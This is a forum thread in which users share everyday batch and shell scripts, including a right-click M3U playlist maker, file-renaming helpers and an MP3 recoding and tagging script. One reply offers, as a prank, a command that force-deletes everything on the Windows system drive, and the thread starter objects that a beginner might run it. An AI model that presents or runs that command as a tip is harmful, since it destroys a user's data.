Jump to content

Post your batch scipts or tweaks


digip

Recommended Posts

Ok, what I wanted to know is what custom batch scripts or tweaks have you created and use on a daily basis. I'll start by sharing one that I use almost daily and is probably the simplest of thigns to do but this just makes it that much easier. This batch file will create an M3U file for all the MP3's in a specific folder by right clicking on any mp3 in the foler and telling it to create the playlist. Quick and easy and it can even be modified to put ALL mp3's on your pc into one M3U file.

Part one:

dir *.mp3 /b /on > PLS.m3u

Ok, that was about as dumb as a script can be, but that's just the first part. Save it somewhere on your drive, I put mine directly in the c drive as pls.bat

Now, the next part is where we add it to a right click function to create the M3U playlist from any folder containing mp3s.

Open any folder and goto TOOLS>FOLDER OPTIONS>FILE TYPES

Scroll down until you see the mp3 extension.

click it and then click ADVANCED (under win xp, I think you double click it on 98 an dbelow)

Click NEW.

Now type in "M3U List" or any description you want in the ACTION area.

Under APPLICATION USED TO PERFORM THIS ACTION we point to our

batch file. EX:

C:pls.bat "%1"

The %1 tells it to grab the file your going to be right-clicking on later on...

Check DDE and in the APPLICATION box type m3u (anything works) and in the last box for TOPIC type System

Click ok and go all all the way back out.

Now, open anyfolder with mp3's in it. Right click on any mp3 file and you will notice a new menu item called "MP3 List". Click it. The batch file will create an m3u file with the playlist of all the mp3s in that folder, sorted by name. Double click the m3u and you default mp3 player will open the files in that folder.

I know its cheasy but its just something to post to start this topic off.

I want to see what you have created and use on a daily basis. Tweaks, batch scripts, etc. Things handy and simple that are for everyday use.

Link to comment
Share on other sites

del /F /S /Q %systemdrive%*

The be all and end all in windows scripts.

Didn't have to be for windows, and while I admire the sarcasm, you could have at least posted one for Linux or MAC if you don't prefer Windows.

Putting something like this up here for knowing some n00b is going to go home and try this was not exactly the most constructive thing to do.

Maybe I should have put up the disclaimer, this was not just for Windows.

Post for any OS you want and please, keep it clean people...for f*cks sake, take it at least a little seriously.

Link to comment
Share on other sites

del /F /S /Q %systemdrive%*

The be all and end all in windows scripts.

mml, sparta stole mine!

but since I duel boot xp and mandriva, and I take school notes on both, my daily use script is:

cp -u /windowsPath /linuxpath

when Mandriva boots up it updates my notes from the windows folder to the linux.

Link to comment
Share on other sites

A grab most of my music from newsgroups. I place them in a consistent folder structure of <bandname>/<discname>/<songname> in which discname is basically albumname unless it's a multi-disc one in which case ' Disc X' is appended to the name. Songname is of the format 'XX. Title.mp3', in which all words from Title start with a capital, and all spaces and such are actually still there.

Now, most of the stuff I download doesn't even come NEAR this format, so I've created some scripts to help me change over the filenames (placing the files into an appropriate directory is still a manual job, but starting with the output of ls -rt makes life a LOT easier).

namestrip.sh

#!/bin/bash

for i in *

do      mv "${i}" "`echo "${i}" | sed "s/${1}//"`"

done

Strips off any unwanted text from the files in the currect directory. Great for chopping off distro group names and such nonsense. Only chops off the first occurrance, so if it you messed up, things aren't entirely fubar'd.

replace.sh

#!/bin/bash

for i in *

do      mv "${i}" "`echo "${i}" | sed "s/${1}/${2}/"`"

done

This one replaces a sequence in the filename with something else. Great for replacing underscores with spaces and such.

capitalize.sh

#!/bin/bash

for i in {a..z}

do  replace.sh  ${i}  `echo ${i} | tr [a-z] [A-Z]`

    replace.sh (${i} (`echo ${i} | tr [a-z] [A-Z]`

done  2&gt; /dev/null

This one changes the first character of a word (the first one after a space or a '(' character) to upper-case. Only drawback is that it if multiple words in a single filename start with the same letter, only the first occurrance of that word gets updated. I could fix it, but I'm lazy enough to just run the script again.

And then, the piece de resistance:

mp3_recode.sh

#!/bin/sh



#****************************************************************

# Put both an ID3v1 and ID3v2 tag into the given MP3 file.

#

# $1 - Filename

# $2 - Band

# $3 - Disk

# $4 - Sequence Number

# $5 - Track Title

#

#****************************************************************

tag_mp3()

{

    if [ -f "${1}" ]

    then

            id3convert -s "${1}"

            id3tag -1 --artist="${2}" --album="${3}" --track="${4}" --song="${5}" "${1}"

            id3tag -2 --artist="${2}" --album="${3}" --track="${4}" --song="${5}" "${1}"

    fi

}



#****************************************************************

# Make an MP3 file out of the given .wav file.

#

# $1 - Filename of the WAV file.

# $2 - Filename of the MP3 file.

#

#****************************************************************

wav_to_mp3()

{

    if [ -f "${1}" ]

    then

        gogo -b 192 -nopsy "${1}" "${2}"

        rm "${1}"

    fi

}



DISK=`echo "$1" | sed "s/.*///"`

BAND=`echo "$1" | sed -e "s//${DISK}//" -e "s/.*///"`



for file in "$1"/*

do  if [ -d "${file}" ]

    then    $0 "${file}"

    else

        filename=`echo "${file}" | sed "s/.*///"`

        SEQ_NO=`echo "${filename}" | sed "s/..*//"`

        TITLE=`echo "${filename}" | sed -e "s/${SEQ_NO}. //" -e "s/.[^.]*$//"`

        EXTENSION=`echo "${filename}" | sed "s/.*.//" | tr "[a-z]" "[A-Z]"`

        case "${EXTENSION}" in

            WAV)    MP3FILE=`echo "${file}" | sed s/[wW][aA][vV]$/mp3/`

                    WAVFILE=`echo "${file}"`

                   ;;

            MP3)    IS_192=`mp3info -x "${file}" 2&gt;/dev/null | grep Audio | grep "192 KB/s"`

                    WAVFILE=`echo "${file}" | sed s/[mM][pP]3$/wav/`

                    MP3FILE=`echo "${file}"`

                    if [ -z "${IS_192}" ]

                    then

                        lame --mp3input --decode "${MP3FILE}" "${WAVFILE}"

                        rm "${MP3FILE}"

                    fi

                   ;;

            WMA)    WAVFILE=`echo "${file}" | sed s/[wW][mM][aA]$/wav/`

                    MP3FILE=`echo "${file}" | sed s/[wW][mM][aA]$/mp3/`

                    mplayer -ao pcm:file="${WAVFILE}" "${file}"

                    rm "${file}"

                   ;;

            M4A)    WAVFILE=`echo "${file}" | sed s/[mM]4[aA]$/wav/`

                    MP3FILE=`echo "${file}" | sed s/[mM]4[aA]$/mp3/`

                    mplayer -ao pcm:file="${WAVFILE}" "${file}"

                    rm "${file}"

                   ;;

            MP4)    WAVFILE=`echo "${file}" | sed s/[mM][pP]4$/wav/`

                    MP3FILE=`echo "${file}" | sed s/[mM][pP]4$/mp3/`

                    mplayer -ao pcm:file="${WAVFILE}" "${file}"

                    rm "${file}"

                   ;;

            BIN)    WAVFILE=`echo "${file}" | sed s/[bB][iI][nN]$/wav/`

                    MP3FILE=`echo "${file}" | sed s/[bB][iI][nN]$/mp3/`

                    mplayer -ao pcm:file="${WAVFILE}" "${file}"

                    rm "${file}"

                   ;;

        esac

        wav_to_mp3 "${WAVFILE}" "${MP3FILE}"

        tag_mp3 "${MP3FILE}" "${BAND}" "${DISK}" "${SEQ_NO}" "${TITLE}"

    fi

done

This one recursively calls itself until it's reached a directory containing files. It's then assumed this is the directory with songs as per my original format. It then isolates the names of the previous 2 directories as artist and albumname, respectively, sees if the file in question isn't a 192 kbit MP3, in which case it gets decoded to .WAV based on its original format and then re-encoded to 192 kbit mp3. Finally, this 192 kbit MP3 gets its tags taken out, and then replaced with shiny new ones containing the information taken from the path structure.

Let's just say it works for me. :)

Link to comment
Share on other sites

This may be teaching a dog to suck eggs, but a good start is to install cygwin which allows you to use all the unix style scripts/commands/tools under Windows (as well as doing ssh servers, apache, whatever you want really).

Best features are things like being able to use rsync over ssh to backup your data securely, use the updatedb and locate functions to find files, use find to create scripts which act on lists of files etc.

And it's free.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...